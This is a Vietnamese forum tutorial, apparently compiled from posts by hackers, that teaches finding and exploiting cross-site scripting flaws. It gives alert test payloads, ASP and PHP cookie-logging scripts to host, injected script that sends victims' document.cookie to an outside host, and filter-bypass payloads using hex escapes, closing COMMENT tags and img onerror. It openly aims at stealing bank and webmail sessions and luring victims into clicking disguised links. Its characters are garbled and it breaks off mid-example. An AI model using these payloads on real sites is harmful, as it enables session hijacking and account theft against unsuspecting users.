Authot: Mask_NBTA và Alex chan doi
Đây là nhng bài viết v XSS mà tôi sưu tm được, hy vng giúp các bn hiu hơn 1 chút
v vn đề này
Trước hết là bài viết ca Mask_NBTA
XSS cơ bn
Li xy ra như thế nào ?
Li này xy ra khi ng dng web thu nhn các d liu nguy him được nhp t hacker .
Như bn đã biết thì 1 website thường cha các link , thông qua các link này hacker có th
chèn các đon code vào và khi người dùng nào đó s dng link này thì coi như 99% là toi
mng , nói nôm na là hacker có th thông qua li này để chèn code vào site hay link để
chôm các thông tin quan trng t nn nhân, các thông tin quan trng đây có th
cookie hoc username + pass để vào tài khon 1 ngân hàng nào đó sau đó thông tin này
được gi ti cho hacker . Cách thường dùng ca hacker là mã hoá các phn nguy him
ca link ( đã chèn code) thành kiu HEX ( hoc có th là các hình thc khác ) để làm cho
nn nhân ít nghi ng khi click vào cái link nguy him đó . Sau đó là tìm cách nào đó để
cho nn nhân chu click vào cái link đã đặt by đó , cái này tùy thuc vào s gian xo ca
tng hacker :-) , càng gian xo thì càng mau ######ng thu được kết qu .
Hu hết các ng dng web hin nay dùng cookie để kết hp 1 tài khon duy nht cho 1
người dùng nào đó , nghĩa là cookie ca người nào người đó xài . Các webmail , web bán
hàng , nhà băng , ... đa s đều dùng cookie vi mc đích chng thc ngừơi dùng , và đây
cũng là cái mà hacker cn .
Vy ch chèn code là chèn cái quái gì , dùng cái gì để chèn : dùng Javascript ( thông
dng ) , VBscript , ActiveX, HTML,hoc Flash
Chc các bn đã hiu sơ sơ v cái li này ri :-) . Không hiu thì xem tiếp s hiu .
Bi gi chúng ta s nói tht rõ v cái li này :
Trước hết gii thiu sơ vi các bn v cách mã hoá 1 s các kí t thường dùng trong li
XSS ca thanh ADDRESS để chút na khi b choáng :
-------------------
Vì IBF Forum không h tr table trong bài viết nên các bn có th xem chi tiết đầy đủ bài
viết ti đây : http://members.lycos.co.uk/masknbta/mask.rtf
--------------------
sơ sơ vy thôi , mun biết hết thì các bn t kiếm .
KIM TRA LI XSS
Bây gi tôi s nêu ra các bước để các bn có th kim tra xem site đó có b XSS hay
không :
1 site bt kì bao gi cũng có 1 hoc tt c các phn sau : search results, error messages ,
Web-form , ch yếu li XSS nm các phn này , nói chung là XSS có th xy ra ch
nào mà người dùng có th nhp d liu vào và sau đó s nhn được 1 cái gì đó .
Cách tìm li để cho rõ ràng thì các chuyên gia bo mt chia làm 7 bước nhưng theo tôi
nên chia thành 5 bước :
Bước 1 : M website cn kim tra ( cái này tt nhiên ri )
Bước 2 : Bt đầu kim tra , định v 1 ô tìm kiếm hoc 1 login form và gi thông tin đi
(nhp thông tin và nhn submit hay login hay ok gì đó ) , ví d nhp ch "Mask_NBTA"
chng hn hay ch gì cũng được .
Bước 3 : Xác định kh năng site có b li XSS hay không bng cách xem thông tin tr v
:
Ví d bn thy như thế này :
· "Your search for 'Mask_NBTA' did not find any items"
· "Your search for 'Mask_NBTA' returned the following results"
· "User 'Mask_NBTA' is not valid"
· "Invalid login 'Mask_NBTA'"
hoc là cái quái gì đó mà có dính ti ch "Mask_NBTA" mà bn nhp vào ban đầu thì
99% "Alert" này bi XSS
còn vài hình thc th na tôi cũng xin trình bày luôn :
+ Chú ý các ô input hay các biến ngay trên thanh address ( var= ) thy my cái này thì c
nhét d liu vào . Hãy th vi nhng script này :
< script>alert('Mask_NBTA')< /script>
hoc <i*g csstest=javascript:alert('Mask_NBTA')>
hoc &{alert('Mask_NBTA')};
Bước 4 : Chèn code thc s vào nơi b li :
chèn cái này < script>alert('Mask_NBTA')< /script> vào ô ban nãy và nhn SUBMIT .
Nếu sau đó bn nhn được 1 popup có ch "Mask_NBTA" thì "Alert" này 100% b dính
XSS . Nhưng xin chú ý , thnh thong vn có trường hp website đó b dính XSS nhưng
vn không xut hin cái popup thì buc lòng bn phi VIEW SOURCES (m bng) nó ra
để xem . Khi view sources nh kiếm dòng này< script>alert('Mask_NBTA')< /script> ,
nếu có thì hết chy , XSS đây ri .
Mt ví d khác thường gp hơn :
Gi http://sitebiloi.com/ là site b dính li XSS và ta tìm được nơi b li như thế này :
http://sitebiloi.com/index.php?page=<s...< script> , nghĩa là ta có th chèn code ngay trên
thanh ADDRESS .
Tôi không th trình bày hết mi tình hung được , cái mà các bn cn là hiu ra vn đề
thì bn s hiu được khi nào b li .
KHAI THÁC
Kim tra li đã xong bây gi phi tìm cách khai thác li để đạt được nhng gì ta mong
mun :
Tôi s trình bày cách thông qua li XSS để ly cookie ca nn nhân :
Bước 1 : to 1 file cookie.asp có ni dung như thế này :
----------------------------------------------------------------------------
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
-------------------------------------------------------------------------------
hoc file cookie.php như thế này :
//////////////////////////////////////////////////////////////////////////////
<?
$f = fopen("mask.txt","a");
fputs($f, $cook.chr(13));
fclose($f);
?>
////////////////////////////////////////////////////////////////////////////////
và upload file này lên host ca bn . Chú ý là nếu bn dùng file .php thì phi up lên host
h tr PHP (lycos) , dùng file .asp thì up lên host h tr ASP (brinkster)
Bước 2 :
ly li ví d site b XSS trên thanh address , để ly cookie ca nn nhân ta làm như thế
này :
http://sitebiloi.com/index.php?page=<s...< /script>
thì ngay lp tc đon code đã được chèn vào trong web page , và trông như vy :
-----------------------------------------------------------
<HTML>
<TITLE> Hello all! </TITLE>
hello
<
script>window.open("http://www.hostbanupfile.com/cookie.asp?cookie="+document.coo
kie)< /script>
...
</HTML>
--------------------------------------------------------------
Vi đon code này thì trình duyt s thi hành đon code và sau đó s gi toàn b cookie
ti cho bn dng file .txt và bn ch vic m file này ra xem .
Nhưng không phi lúc nào bn cũng có th d dàng chèn code , lm lúc cũng phi linh
hot 1 chút bi vì người lp trình website cũng đâu th nào d dàng để cho chúng ta lng
hành như vy , h cũng có chiêu để ngăn cn chúng ta , cách h dùng là "Lc code"
(Anti-XSS Filter) . Cơ chế ca h như sau : b lc này s loi b các kí t đặc bit mà
người dùng nhp vào , đơn gin vy thôi .
Chng l hacker chu bó tay , chưa chc ! Hacker cũng c gng vượt qua "b lc" bng
mt vài th thut nh :
1/ Nếu "B lc" loi b 2 kí t "<" và ">" :
Hacker s dùng "\x3c" và "\x3e" để thay thế và bt đầu chèn code vi ') +
') + '\x3cscript
src=ht*p://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'
2/Biến các đon code nguy him thành li chú gii (comment) :
Ví d khi hacker nhp vào < script>code< /script> thì s b chn như sau :
<COMMENT>
<!--
code (không được phân tích bi b lc)
//-->
</COMMENT>
Vượt qua cái này cũng rt d bng cách dùng th đóng </COMMENT> để đóng cái
<COMMENT> kia . Nghĩa là ta chèn cái này vào :
< script>
</COMMENT>
<img src="http://none" onerror="alert(Mask_NBTA was here);window.open(
http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">
< /script>
lúc này đon lc code ban đầu tr thành :
-----------------------------------------------------------------------
<COMMENT>
</COMMENT>
< /script>